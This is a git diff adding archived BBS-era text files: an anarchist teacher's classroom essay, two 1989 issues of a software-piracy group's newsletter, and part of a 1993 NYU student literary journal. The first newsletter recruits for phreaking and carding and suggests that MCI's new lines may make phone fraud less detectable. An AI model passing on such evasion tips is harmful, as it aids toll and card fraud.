their own choices and self-awareness, not + +against the system. + + + +-Final grades were determined in one-on-one conferences between + +myself and each student. We each worked things out with our + +copy of the individual grading system. On the average, each + +person graded themself in perfect agreement with my assessment. + +A few (4 out of 22) were a notch or two too high; we talked + +things over and either I gave in or they were convinced. A few + +(again, ca 4) were a notch or two too low; 2 I boosted up to my + +grade, the others were convincing and remained. + + + +-The class determined the syllabus as much as I could create. I + +arbitrarily set up four units of read (Narrative, Argument, + +Analysis, Critique). During the week before each unit + +commenced, on Monday I would hand out copies of a summary of + +each possible reading selection (from our text and coursepack); + +I tried to be as impartial as possible, listing title, author, + +page length, subject and approaches summarized. On Wednesday + +they discussed the choices available, debating the merits of + +subjects, some authors, etc.; then turned in their ballots. I + +totaled the results then passed the decision back: number of + +choices averaged, then assigned in slots during the next weeks + +based on page length vs. writing assignments. Friday was this + +new syllabus, for which Monday would be the first day and + +reading. + + + +-Essay workshops. One student would be the Author for the day. + +They would pass out copies of their draft for each reader (21 + +other students, plus myself). We, the Audience, would annotate + +and read our copies, then write a one page reaction and + +evaluation. Class discussion would be a lengthy critique of the + +essay, looking at various aspects of writing: grammar, strategy, + +use of evidence, etc. I was usually the board-writer, never the + +Critic. + + + +My students ended up as better writers; finely-honed critics; + +highly energetic class participants; nearly manically active + +beings. I had some problems with scheduling and timing, which + +need tinkering. + + + +The only painful problem was a case of plagiarism. One student + +clearly borrowed the work of someone else. I could not come up + +with a good way of dealing with this anarchistically. If this + +were a class that met at my house, for which I was the local + +teacher, I would have asked the person to leave. But I was and + +am - bound up with a massive institution that forbids such + +exclusion. I could think of no fair (or nonviolent!) way of + +letting the student's classmates handle this. The plagiarist + +refused to agree with me, insisting on the orginal nature of the + +work. I could see no other way out than to turn to the Dean and + +initiate a trial process. This *hurt*. I felt as if I were + +betraying my anarchist principle, as I was deliberately invoking + +some of the worst elements of the authoritarian school. As of + +now, this is still ongoing... + + + +Any advice or recommendations? + + + +Bryan N. Alexander a/k/a godwin@umich.edu-- + + + +"There is always an official executioner." -Lao Tze + + + + + +Mr. Authority + +by Michael Stec + + + +When authority becomes comical, the illusion of the necessity + +for authority becomes visible. Recently while attending a free + +evening lecture at the local university, I encountered Mr. + +Authority acting authoritarian. He was there to control the + +question and answer session at the end of the lecture (as if it + +needed control). I found the old grey-haired gentlemen rather + +comical. He would tell people that if they had a question you + +were to raise your hand , he would indicate to you in what order + +you could ask your question ( just like kindergarten). If Mr. + +Authority held up one finger at you , you were the first person + +who could ask a question, two fingers the second person who + +could ask a question, etc. Of course Mr. Authority would remind + +people that they must ask a short question. Mr. Authority also + +seemed to be concerned that a dialog might develop between the + +questioner and the lecturer. If that happened, he would cut off + +the questioner and point to th \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/apinews1.txt b/textfiles.com/magazines/MISC/apinews1.txt new file mode 100644 index 00000000..67c3ad6d --- /dev/null +++ b/textfiles.com/magazines/MISC/apinews1.txt @@ -0,0 +1,147 @@ +|F2of7| +_____________________________________________________________ + + + A.P.I + American Pirate Industries + News Letter Volume I written on July 13, 1989 + + Written by: Mind Shadow + Edited by: Laughing Gas + +____________________________________________________________ + + This might look a little unprofessional compared to +some other newsletters, but you have to remember this is our +first newsletter. We are trying to make it as informative as +possible. Right now we don't care about style. Later on in +future issues we will work on the format of our newsletter. +Right now the purpose of this newsletter is to tell you who +we are, what were going to do, how we came about, and who is +in API. + + The first order of business I have to take care of is +answering the question Who is API? And what are they going to +do? Well, to answer those questions I must also include our +history. So here goes...about 3 months ago I was trying to +start up a group called KORT (Knight's of the Round Table). I +had no idea that there already existed a group called TKRT. +(And TKRT was a loser cracking group stealing cracks at that) +When I found out I abandoned the idea of starting up a group +because I met Laughing Gas. We both has the same idea. We +wanted to have not a hacking group, but a pirate group that +gave out information on new products, clues to games, and any +other business doings in the pirate world. I met Laughing Gas +and he suggested a group called API and asked me to join. I +agreed and that is basically how we came to be. + + API is not like your regular group that cracks games and +joins sysops of boards. We may have a branch that will +perform these duties, but as of right now, our main goal is +to INFORM the pirate world of new games, when their coming +out, our own personal opinion of the game, clues to games, +the docs to the game, some fixes for the game, and any other +important issues that may come up. You may make the analogy +of a newspaper to us. We will have information, some +editorials (in future volumes), classifieds, advertisements, +and upcoming products. We may include a Blacklist, but other +groups seem to have taken care of that problem. Some people +may think that we are just going to be like a falling star, +flickering briefly and then dissapearing. We have no +intention of being a falling star. We are here to stay unless +we get negative results from this newsletter. + + Let me explain what I mean by a newspaper. We are going +to start the newsletter off by any important issues that have +come up in the pirate world. We will allow sysops to place an +ad in the newsletter advertising their board, and any other +information they may want to include. Also we will have an +editorial section letting the users express their views. For +example the subject of Guns or China. In the classifieds we would +put messages concerning the sale of an HD, or modem, etc. +Getting back to the news part we would have a pirate section +in general like the front page of your newspaper. Then we +would have a phreak section on busts or anything interesting, +a hack section concerning VAX's, UNIX's, etc., then an +anarchy section. I am not real thrilled about having this +section, but people have expressed their approval of having +one. That about sums up what the API newsletter will be, and +what we will be doing. + + A second issue of business I may want to add is that we +don't want ANY problems with any cracking groups. We in no +way are trying to compete with you. One, we are NOT a +cracking group, and two, we try to get any new information +from the cracking groups themselves. We are working in +conjunction with the groups trying to help them spread +information all over the country. Like NAP/PA's goal is to +unite all the cracking groups, ours is to spread information +throughout the pirate world. + + Other current members of API include Laughing Gas, Sturm +Brightblade, piro (like's his name in small letters), Missing +Link, me (Mind Shadow). We currently are looking for new +members who have excellent knowledge in the field of +phreaking, carding, hacking, and anarchy. If you are +interested in becoming a member then follow the directions on +the API application. To sysops who would like to become a +drop site for the API newsletter, follow the instructions on +the Drop Site application. We have alot of future plans, +but what happens remains to be seen. + + I'm am pretty positive everyone knows that the PCP has +changed the format for their password and their rates. Well +you might have not known that MCI has gotten 1400 more lines +around the nation. Don't ask me why. I doubt they could put +an ANI on each one, so phreaking with MCI MAY be less +dangerous than sprint or AT&T. + + Well, that concludes our first newsletter....Oh yea I +almost forgot..I would like to say a few things about Phoebus +Apollo. Those of us on the East Coast will sorely miss Gates +of Dawn, but besides that, we will also miss the person +running Gates of Dawn. A real swell guy, well-liked by +everyone. Good luck in California, and K.I.T. with the pirate +world. Nothing like the Sun.... + + Well, that definitely concludes our first newsletter. I +hope you have enjoyed it, and I am looking forward to your +opinions. Please, tell us what you thought of the newsletter. +What we could change or improve, or what we could add. We +only can get better with user support and criticism. I hope +this newsletter has given you some information you didn't +know before, and the next one should be out by the latest... +..October. + +So to sum it all up...I would like to thank everyone who has +helped API out in the criticism and help. Until next time.... + + Mind Shadow + [2 Hype] + + +______________________________________________________________________________ + __________________________________END_______________________________________ +______________________________________________________________________________ + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Rat Head Ratsnatcher 510-524-3649 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/magazines/MISC/apinews2.txt b/textfiles.com/magazines/MISC/apinews2.txt new file mode 100644 index 00000000..c4d8f283 --- /dev/null +++ b/textfiles.com/magazines/MISC/apinews2.txt @@ -0,0 +1,128 @@ + + + + API - American Pirate Industries + + Newsletter, Isssue #2. + + File #1 of 4. + + + + + Page 1. + +=============================================================================== + API NEWSLETTER - UPDATE TO ISSUE #1. +=============================================================================== + +Well, it's been quite a while since our last newsletter, people were asking +about the second one immediately after the first was released.. well, here +it is.. The second one.. it was originally planned to be much bigger, but since +we're in a rush, we've released this one, the third one should be bigger and +better. + +The third one IS being worked on, but we are having a couple of problems. One: +All of our members have better things to do than work on the newsletter (girls, +school, real lives, etc). Two: There's not really much going on right now to +write about. We are continuing to release cheats, and a text file here or +there, but there hasnt been that much to write about. We've tried to narrow it +down to what you want to know that you may or may not, and not include alot +about ourselves or unimportant things. That limits our size very much, but in +an effort to not become dormant, as some groups have, we have decided to +release this newsletter to let you know what's going on with us. + +Many people have been asking "So what's API doing now? I haven't seen anything +from them in a while...", well, that's what this update will cover, it mentions +just about everything we're working on that is close to positive.. we have alot +of activities going, but not everything is definite, and therefore, we can't +really mention it all. + +=============================================================================== + + + + + Page 2. + +=============================================================================== + US AND YOU. +=============================================================================== + +First, a word on us. We're here because we are trying to serve the entire +underground world. This includes the realms of piracy, phreaking, hacking, +anarchy, and fraud. In each of the upcomming issues we will try to include +information on all of these topics. + +Now a word on us and you, and how we can help each other. + +Currently, our ranks are made up of exclusivly IBM users. I am sure that there +are people in the Apple/Commodore/Atari realms with plenty of information and +knowledge that everyone could benifet from. If you use a non-IBM/DOS Based +machine and think you could provide quaility information to our newsletters, or +write quality files on Phreaking, Hacking, Anarchy, or Fraud call any API board +that you have the number to, or if you dont have any, call Solsbury Hill +(301/428-3268) and apply, in your feedback state that you'd like to be a member +Of course, if you have use an IBM machine, and think you have something to +offer, you can do the same. + +If you are already writing [text] files, or have been, but do not wish to be +in a group, contact us anyway, and we will make sure your files get +distributed, your files will not be altered in any way, except some sort of +little "Distributed by A.P.I." will be stuck on the bottom. + +If you wish to write files, and remain anonymous, that's ok too. We will see +that the file(s) is/are distributed and you will remain completely anonymous. + +Remember, we are here to serve you, the underground community, and to serve you +better, we need your opinions, ideas, etc.. leave feedback on any API board, or +contact any API member on any other board. + +=============================================================================== + + +Page #3 - Quick News / Conclusion + +=============================================================================== + +Now what's been going on with us... + +Black Sabbath has left the BBS community for good, and his board went with +him naturally. We'll miss him. + +Mind Shadow hasn't been heard from for ages, his fate is unknown. + +We are now proudly sponsoring AfterShock BBS software. + +We are currently in the process of straightening out and totally (re)organizing +our BBS/network system, and setting up our distribution system. + +We also have plans for API subs on several Networks. + +More news to come... + +Boy this is a small letter... + +=============================================================================== + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Rat Head Ratsnatcher 510-524-3649 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/magazines/MISC/asian_voices93.stx b/textfiles.com/magazines/MISC/asian_voices93.stx new file mode 100644 index 00000000..67b9e3f0 --- /dev/null +++ b/textfiles.com/magazines/MISC/asian_voices93.stx @@ -0,0 +1,2843 @@ +ASIAN VOICES +============ +VOLUME VI: 1993 + +**DREAMS** + +All people dream... but not equally. They who dream by night in the +dusty recess of their minds wake in the day to find that it is vanity. +But the dreamers of the day are dangerous, for they act their dreams +with open eyes, to make it possible. + + - Thomas Edward Lawrence + (Lawrence of Arabia) + +**THE ASIAN CULTURAL UNION** +at New York University + +THE ELECTRONIC EDITION +====================== +Thanks for picking up the electronic edition of ~Asian Voices~. +~Asian Voices~ is the annual literary and artistic journal of +the Asian Cultural Union at New York University. All submissions +to ~Asian Voices~ are from New York University students. +The original hard copy version of this publication was printed in +Spring 1993. + +This file is composed in the "setext" format, so if you have an +appropriate reader, such as M. Akif Eyler's ~Easy View~, you can take +advantage of the embedded formatting to browse the issue. Users of +plain ASCII text editors should have no problem reading this file as well, +although you'll have to do more maneuvering to get through all of it. +For best results, use a monospaced font that allows at least +an 80 column display. + +We welcome your comments. Please email at the following addresses: +Asian Voices Editor 1993-94: Meng Lin +Asian Cultural Union President: Liliana Chen +Electonic Edition Formatter: Francis Chin + +If you would like to write via U.S. mail, please address +inquiries and correspondence to: +**Asian Voices** +**The Asian Cultural Union at New York University** +**566 LaGuardia Place, Room 814** +**New York, N.Y. 10012** +**Telephone: (212) 998-4942** + +This electronic edition is +Copyright (c) 1993 The Asian Cultural Union at New York University +Permission granted for non-commercial distribution +as long as this notice remains with any copied text and you do not charge +for the copies. All other rights reserved. + +ACKNOWLEDGEMENTS +---------------- +The editors-in-chief would like to extend their appreciation and thanks +to the individuals who made this year's journal a success: to all our +contributors for their ideas and patience; the ~Asian Voices~ staff -- +Arthur, Benny, Bryan, Dennis, Johanna, Karen, Kellie, Meng, Michele, +and Wanda -- for their diligent efforts; Francis Chin and Josephina Lee +for their advice and assistance; Naft International and ~Outstanding~ +~Investor~ ~Digest~ for use of their facilities; Philip Chin and the +~Washington Square News~ for use of their scanners; Anton Chan at +Linco Printing, Inc.; Joseph Park for his perspectives; the ACU +executive committee -- Liliana, Dana, Fred, Joe, Arthur, and Francis -- +for their support. + + +To my grandmother Mary (Kao Sue) Tang: you will be missed very much. + -- Ron + +**Cover design by Larry Lee** + +~Asian Voices~ is a publication of the Asian Cultural Union at New York +University, an organization dedicated to serving the social, cultural, +and educational needs of all students. The opinions expressed in this +journal reflect each author's own views and are not necessarily +representative of the ~Asian Voices~ staff nor the Asian Cultural Union. + + +STAFF +----- +**ASIAN VOICES** +Editors-in-Chief William Chong + Ronald E. Mui + +Senior Editors Dennis Chun + Michele Mitsumori + +Staff Editors Kellie Tinh Du + Meng Lin + Wanda Lin + +Editorial Assistants Arthur Huang + Benny Lau + Johanna Lee + Bryan Quan + Karen Talaid + +Advisor Francis Chin + +~Contributors:~ Maria Chang, June Chiamprasert, Linne Ha, Cindy Hong, +Alex Hsu, Nadda Kanchanagorn, Kenneth H. Kim, Marc Landas, Margaret Lam +Marc Landas, Margaret Lam, Katie Lin, Gail Montemayor, Saloni Movani +Susan P. Mui, Greg Osborn, Julie Pun, Ivy Sta. Iglesia, Vineel Shah +Ricky Weng, Wendy Wo, Raymond Wu, M. Connie Yeung + +Artist Emeritus Larry Lee + +**THE ASIAN CULTURAL UNION AT NEW YORK UNIVERSITY** +President Liliana Chen +Vice President Dana Chau +Treasurer Frederick Lee +Secretary Joseph Park +Operations Officer Arthur Liao +Sports Coordinator Francis Hata + +EDITORIALS +========== +Ronald Mui talks about the history of Asian Voices after 5 years. +William Chong lets us see a few of his dreams. + +EDITOR'S NOTES - I +------------------ +Ronald Mui + +In the past, ~Asian Voices~ has dealt with topics that concerned the +Asian community, ranging from a family's migration to America and +its unforeseen conflicts, interracial relationships, loss of culture, to +problems such as suicide, alcoholism and racism. Since its creation, +Asian Voices has seen an increasing number of new topics and views. +During the time that I have been with ~Asian Voices~, I have seen a +transition from works addressing the concerns of the individual to +works encompassing societal issues. + +In the midst of the pro-democracy movement in China, that year's +issue was dedicated to the Tiananmen Square Massacre. The theme +~Asian Voices~ thought most closely symbolized the massacre was fire +-- a symbol of destruction and conflict that leads to an unknown end. +In that issue, fire represented the images of an imprisoned and +restless nation awaiting to be set free and given equality. It may be +the start of a new beginning or a continuation of what existed before. +For China, the fire subsided but left an unknown end to a suppressed +nation. + +In another issue, water was chosen to represent the image of +transition: the inevitable change of climate resulting from conflict to +the ultimate resolution through peace and understanding until it +reoccurs again. As fire is associated with rage, water too can be +associated with this same rage. But water has a calm side to it. It +can be serene and tranquil until it becomes agitated following its +cyclical path. + +Our 1991 edition saw a transition from the elements to a need for +growth, learning and understanding. It was during this time that an +awareness for our environment grew. As notions of saving the world +were ever increasing, spillage of oil into our oceans continued, and +dumping of toxic wastes into our rivers and streams became a +reality. In the midst of all the concerns for the environment, Asian +Voices set out and dedicated 1991 to the environment. It was a +chance for all to try to learn and comprehend what we were doing +wrong to the world and how we could possibly assist in righting +these wrongs. From what we know today, we must be vigilant and +careful, for our actions directly affect the environment. + +Continuing the learning and growing process, last year's issue was +devoted to none other than Home. In the home -- which some +unfortunately do not have -- warmth, love, security and guidance are +guaranteed to us. It is a haven where we can always return to for +comfort and love. Inside the home we are taught to care and respect +one another. We are nurtured by our parents and family, obtaining a +set of morals and beliefs which are our guiding tools for life. We +will refer to this when making decisions and for direction. It is the +foundation which we take with us to school, work and beyond. Once +learning from this foundation can we then hopefully go out into the +world and learn to respect one another and live in peace. + +As we open this next chapter of Asian Voices, we do so with Dreams. +Though dreams can be of fantasies, desires and hopes that are deep +rooted within each of us, they too are a means of growth and +learning. Dreams can also suggest aspirations and goals. From them, +we can set objectives for ourselves by which to live and grow. As we +were taught from home how to cope with the outside world, our +dreams will further allow us to grow as individuals. Perhaps when +combined with our familial guidelines we can use this as a stepping +stone to better ourselves and possibly society as well. + +Suppose there are dreams of destruction? How are we able to +mature and grow from dreams such as these? This year's issue holds +many articles depicting the darker sides of dreams. Though they are +very far from being destructive, the images of dreams displayed +here are of misguided opportunities as shown in An Ode to the +American Dream," despair as depicted in "The Shattered Dream," and +madness as presented in "Minutes." We obviously cannot mature +from these dreams but we can learn from them what needs to be +changed in society. We are not immune to these problems, but what +we can do to change them is what is important. + +In this issue I hope to get people to start thinking of dreams as a +means of learning and growth. Understanding oneself will allow us +to understand others. We can always dream and educate ourselves. +But what I hope to see with all the dreaming and education that we +are fortunate to have gained, is that one day we will return to society +what is desperately needed -- our efforts to understand, care and +assist so that the peace that we have so long missed could return. So +read it and dream for success! + + Ronald E. Mui + Editor-in-Chief + +EDITOR'S NOTES - II +------------------- +William Chong + +~D R E A M S A R E . . .~ + +. . . a succession of images, thoughts, and emotions. They are +aspirations, idle fancies, visions, and objects of unreal beauty. + +. . . the realm of Morpheus; blinding colors and odd shapes; Jim +Henson's muppets; An American Tail. Dreams are a lazy Sunday +afternoon with Calvin and Hobbes; the cosmic sounds of the B-52's; a +day in the park with Booster, my four year-old labrador retriever; +the '86 Mets. + +. . . about freedom and justice. It is a man with the dream and the +courage to protest a state that has oppressed his people for +centuries. It is the many who have challenged totalitarian regimes, +sacrificed safety and security, endured persecution for the dream. +Dreams are all some people have to believe in; some are worth dying +for. + +. . . visions of the future. They are the hopes of our youths: +power, equality; wealth, generosity; conquest, peace. Their dreams +will destroy. Their dreams will save. Dreams are about protecting +the environment, being socially conscious, and defending personal +freedoms. They are caring for your brothers and sisters, helping +those less fortunate, and giving back to the community. Dreams are +powerful. + +. . . nightmares -- a result of a disturbance in the delicate nature +of our conscious being . . . or bad tuna salad. + +. . . of God. Genesis 28:10-13. Jacob left Beersheba and started +towards Haran. At sunset he came to a holy place and camped there. +He laid down to sleep, resting his head on a stone. He dreamed that +he saw a stairway reaching from earth up to heaven, with angels +going up and down on it. And there was the Lord standing beside +him. + +. . . of man. Select Eastern philosophies say that our existence, +our universe, is a dream -- God's great dream. And that when we +complete our mortal journey on Earth, He enters into our universe to +wake us out of the dream. But when we wake, we discover that it is +really we who have been dreaming the great dream all along. + +. . . a newborn in the comforts of its mother. + +. . . listening to Grandma's wonderful stories. She tucks me in -- a +boy of six -- and asks me if I'm ready; I eagerly reply 'yes!' I +wait silently as she ponders. Then she takes my hand and, holding +tight, we begin our voyage to another age, another world. I follow +her, my guide, throughout assorted tales and yarns. I giggle with +joy; or I tremble beneath the covers; but I always plead for more. + +. . . thoughts of an old love and the desire to embrace once again. +I remember watching her as she rested in my arms, sleeping like an +angel. Was it her glimmering eyes or her affectionate smile that +captured my heart? No -- I looked beyond the tangibles and into her +soul, and there I saw a spectacle that was more radiant, more +passionate than even the Northern Lights. I brushed her hair aside +and her button nose twinkled. I held her vigilantly and closed my +eyes and prayed that the moment, that the darkness of winter's +night, would never end. I continue dreaming. + +. . . the hopes of the Asian Voices' staff to produce the best +edition yet. Reality check...this is a damn fine issue. + + William Chong + Editor-in-Chief + +DREAMS +====== +Stories and prose based on the theme "Dreams". + +Gail Montemayor, **A Perpetuating Nightmare** +Kenneth H. Kim, **An Ode to the American Dream** +Vineel Shah, **Uniform Shade** +Kellie Thinh Du, **Romance** +June Chiamprasert, **Minutes** +Saloni Movani, **The Shattered Dream** +Margaret Lam, **A Farewell to Dreams** + + +A PERPETUATING NIGHTMARE +------------------------ +Gail Montemayor + +My mother claims she's had another one of her prophetic visions just +as I'm about to leave the house. "Don't worry, Mom. Nothing will +happen," I assure her before slamming the screen door in annoyance. + ++ + + + + +Vic finally gives in to our incessant whining and reaches over to turn +on the radio. Eventually, the familiar tunes of depressing love songs +throw us all into a state of nostalgic contemplation. Old loves, buried +fantasies, and feelings of hopelessness for uncertain tomorrows +resurface into our pools of thought. As I sink into the velvety +backseat of Rob's shiny black Nissan Maxima, my hands cradle the +half-empty bottle of Sex on the Beach like kitten's paws. The cozy +warmth I feel inside can only have been created by this wonderful +magic potion that rests snugly against my chest. Flanked by my +closest friend on the right, I can feel the alcohol-induced heat +generated by our pressed bodies. The soothing motion of the car +rocks me gently into a deep sleep . . . + +I'm floating in a deep and endless darkness. A path of small,white +tiles hovers before me like ghostly cobblestones. I look behind me: +one by one the tiles drop into oblivion. I watch one fall, fluttering +like a pallid leaf until swallowed by the void, and suddenly feel the +tile I'm standing on begin to sink. I jump to the next tile, only to feel +that one descend as well. I jump and jump and jump, but nothing is +safe, nothing is stable. My eyes dart to the expanse below me, just in +time to see the tiny whiteness of a tile extinguished like a birthday +candle. The fear of losing my balance and meeting the same fate +suffocates me, encloses me as completely as the darkness itself. I +jump again, and again, until it seems I've always been jumping. And +then it happens: I miss a tile. I fall, screaming. + +The nightmare vanishes as soon as I open my eyes. Tristan's head is +flying out the window as he yells something incomprehensible at the +driver behind us. Someone has interrupted the blissful, rhythmic +motion of our car, and Tristan is in no way sober enough to rationally +dismiss it. The driver nervously switches lanes, and shortly after +disappears. + +Staring blankly ahead, I listen casually to fragments of random +conversation: + +"And you forgave her? Does Matt know that you know?" + +In the front seat, Rob is talking to Vic about Vic's girlfriend, Julie, +who had cheated on him last week with Matt. Julie is a childhood +schoolmate. She's been sharing an apartment with Vic at a college +upstate. Ever since I can remember, Julie and I have been competing +with each other over everything from academics to physique. In the +fifth grade, Julie accused me of cheating when I beat her fairly and +won the spelling bee. Although she could never accept it, I was +always better than her in spelling, as well as in math and science. +We were vicious enemies then, but our cut-throat competition did +have its advantages. When I delivered the valedictory speech in the +eighth grade, Julie was right there on stage with me as salutatorian. +For both Julie and me, grammar school was a breeze. + +But as far as high school went, Julie won in the end. At Truman's +senior prom, she was the one who hooked up with Vic, the biggest +crush of my high school career. Attending the exclusive St. Jude's +Academy for Girls didn't help my social life at all. As I slowdanced +at my senior prom with Tristan, all I could think about was Julie and +Vic and how they were so made for each other that it made me +envious. + +After a couple years at college, we came to throw down our arms. +Being equally enthusiastic about separate majors helped us to calm +the competition running through our relationship. As determined as +I was to take up my life-long dream of acting, so was Julie equally +determined to make it as a marketing major. Meanwhile, Vic +graduated from Philips Exeter Academy in New Hampshire and diligently +began pursuing law. Vic is definitely going places. I guess +that's why I'm so attracted to him. + +"There is no red in poppy!" + +My best friend Marly screams piercingly into my ear. Obviously, +Marly and Hanna are continuing their eternal argument about +whether poppy is a miscalculated red or a richly deep orange. Both +girls are art fanatics who dwell obsessively on the specifics of colors. + +A fashion prodigy, Hanna is constantly searching for the perfect +shade, the perfect color. She spends hours scrutinizing innovative +blends of every hue. Fashion design is her life. In the four years +I've known her, I can't recall her ever making a fashion blunder. +Only Hanna can put together an orange and green and make the clash +breathtaking. Everyone says she has great potential. I remember +when she designed the gown I had worn so proudly at the annual +winter formal. She'd enjoyed making me look stunning as much as +I'd enjoyed the glamour of attending a formal evening dinner party. +I must have had over a hundred compliments that night. Hanna has +so much promise. + +Marly is a fine arts major who eagerly describes various ranges of +color to us when entralled by a painting or sculpture. She visits +museums religiously, often allowing me to tag along with her to her +sacred institutions. Sometimes she spends hours on end discussing +every detail of just one of her favorite works. Picasso's Three +Musicians is her favorite. She dreams of one day buying that very +painting for a wealthy corporation--her ultimate career goal. Marly +and I always talk about our futures, but sometimes Marly seems to +exist on art alone. + +Tristan leans over, seeing my apparent state of oblivion. I turn my +head to examine his lips as he repetitively mouths, "Are you all +right?" Naive enough to focus all my attention on his lips, I soon +realize his true intent is to distract me in order to steal the warm +bottle of Sex from my hands. As he presses the mouth of the bottle +to his smirking lips, I try to snatch it from him, initiating a flirtatious +wrestling match. In a matter of minutes, we end up snuggling +together, sharing the bottle romantically, leaving Marly and Hanna to +sit side by side and argue. + +Poor Tristan. He's been interested in me ever since that night we +made love in an alcohol-induced heat of passion. I would never have +a relationship with him. He's too volatile. Intelligent as he is, he +willingly decided to trash his dreams of becoming a doctor three +years ago to be lead singer of a band, one whose members betrayed +him five months ago by replacing him with "someone with real +talent." Yet I can't help but admire his persistent determination to +some day be famous. + +As I become more and more smashed, the mesh of conversations +becomes audibly distant, like far-off echoes. As my face lies buried +in the crook of Tristan's neck, I again fall deeply into sleep . . . + +Blackness. I'm hopping from one tile to the next, swinging my arms +wildly to keep my balance, to push me forward. I jump with all the +strength I have, but each time my feet land closer to the edge, each +time I seem closer to not making it. The tiles are drifting farther +apart, the distance between them expanding like a black stain. My +heart bangs against my ribs. I jump and jump. The tile I land on +sinks. I jump. The next tile falls even further. I look ahead. The +entire line of tiles is steadily descending, as if someone had just +turned off the power. I reach out to grab something. The tile +beneath me gives way and slips out from under me. I'm falling, +faster and faster, screaming for an end to this inescapable nightmare. + ++ + + + + +I'm shaken. The hands try to be gentle, but the voice is cracked, +irritation seeping through. "Wake up! You're only dreaming! You're +alive. Nothing can happen to you now. You're safe." + +I think I'm opening my eyes, but blackness is all I see. There are +none of the thousands of shades Marly had made spring to life before +me, no poppy of either her deep orange of Hanna's miscalculated red. +Not even the white perforation of tile. Just black. + +One night of reckless intoxication. + +I stretch my ears, searching for the voices I had so complacently let +wander away from me, but find not a word to relieve my loneliness. +Nowhere is the voice of Vic, who had learned the art of persuasion in +one of his law-related classes and who was always able to convince +or move me with the intelligence of his words. "Nothing below the +torso. Blind as a bat, too, poor thing." Not even a clever, pointless +line from Tristan, who always found some smart and witty thing to +say to get my attention, waiting only for the moment when I'd finally +give into his charm and go out with him. "Do you think I should give +her a tranquilizer?" + +Although fully conscious and able to hear an actor enliven the flat +words of a TV script, I know I will never be able to rise from my bed +or look into a handsome actor's eyes with theatrical passion or be one +of those famous voices. "No, she seems calm now." Nothing +glamourous is in store for this once-promising paraplegic. + +But I guess I came out the lucky one. Rob, Vic, Marly, Hanna, Tristan. +Their dreams are buried along with their broken bodies beneath cold +and inescapable slabs of stone, whereas I can lie here in the darkness +and dream forever. + +I feel a cool, rough hand clumsily push the hair away from my +forehead, feel a wet and wrinkled cheek press against mine. Is it too +late to comfort her? "Don't worry, Mom," I say. I wish I could see +her. "Everything will be all right. Please don't worry. Nothing will +happen." + +A screen door slams behind me. + +AN ODE TO THE AMERICAN DREAM +---------------------------- +Kenneth H. Kim + +How mesmerizing and enchanting you seem to be... +Your golden lights attract the desperate and proud from lands beyond; +How seemingly limitless and beautiful you truly appear to be... + +Your blinding glare taints the innocent and blinds the foolish of their youth; +But they kneel helplessly before you with lustful eyes and insatiable greed, +As if you were their Second God, as beautiful as He... + +The falsehood and worthlessness they do not see, So +They come in herds searching with dreamy eyes for that gilded road, +Only to be disheartened by age and weariness with the passing of time. + +As these dreamers pay their unavoidable respect to the shadows of death, +Though their pockets are content with the fruits of that American dream, +They no longer see beautiful visions of that initial dream. +How beautiful you seem to be... + +The disappointed and the prosperous are no longer dazzled by the Lights, +For Time and Fate has given them Second Sight; +At old age with newfound wisdom, they no longer dream of wealth, but of life. + +When it seems too late to be... + +If only They could see beyond what it seems... + +UNIFORM SHADE +------------- +Vineel Shah + +One day, I bit into my pen and a rainbow spewed out. The vibrantly +colored liquid light quickly flooded my room. It found my open +window and poured out into lower Manhattan. + +It found true color in everything it washed over. Grass became +brilliant green, leaves glowed in candy-apple reds and citrus-fruit +oranges. Water in puddles turned blue, mica in sidewalks turned +sparkling silver. All the people turned rainbow. + +I rode down the bridge of light from my window to the street. I +grabbed a passerby by the shoulders. Her skin was white and black +and yellow and brown and blue and green and red and orange and I +said "This is you. Do you understand? This is you!" + +She looked into my face, crying. Her tears fell like refracting drops +of oil rolling down a prism. "I'm lost." + +"Now you are true," I told her, shaking her a bit to make her +understand. + +But the truth was too much for her little mind to bear. I let go and +watched her walk away. Her tears slowly washed away the rainbow +from her face, her skin returned to the color it had been before she +met my dream. Where she walked, colors returned to their normal +drabness. In a few hours, everything had faded into what it had +been before. + +I tried to hang on to my colors, to the rainbow in me, but I couldn't +resist the fading. Race left an ugly mark on me, leaving my soul in +uniform shade. + +ROMANCE +------- +Kellie Tinh Du + +Hand in hand walking slowly across the meadow +We play hide-and-go-seek with one another's shadow +Looking at the wondrous color of each butterfly +Listening to the melodious song of the magpie +Smelling the flowers strewn like confetti all around +Drinking in the magic of this paradise we together found + +Face to face sitting in the train +Traveling towards the future we see quite plain +A happy home complete with white-picket fence +And of course a poodle named Romance +Never again contend with the outside world or all its madness +We surround ourselves with only solitude and happiness + +Bells toll our cheer to all, +Suddenly from my bed I fall! +No wonder the bells were getting so loud, +My alarm clock was trying to pull me down from the clouds. +Back in my room and the phone won't stop ringing, +Can't believe I was only dreaming! + +MINUTES +------- +June Chiamprasert + +**"Paul, stop it! What are you doing?!"** + +**"Come on, Melissa, stop playing 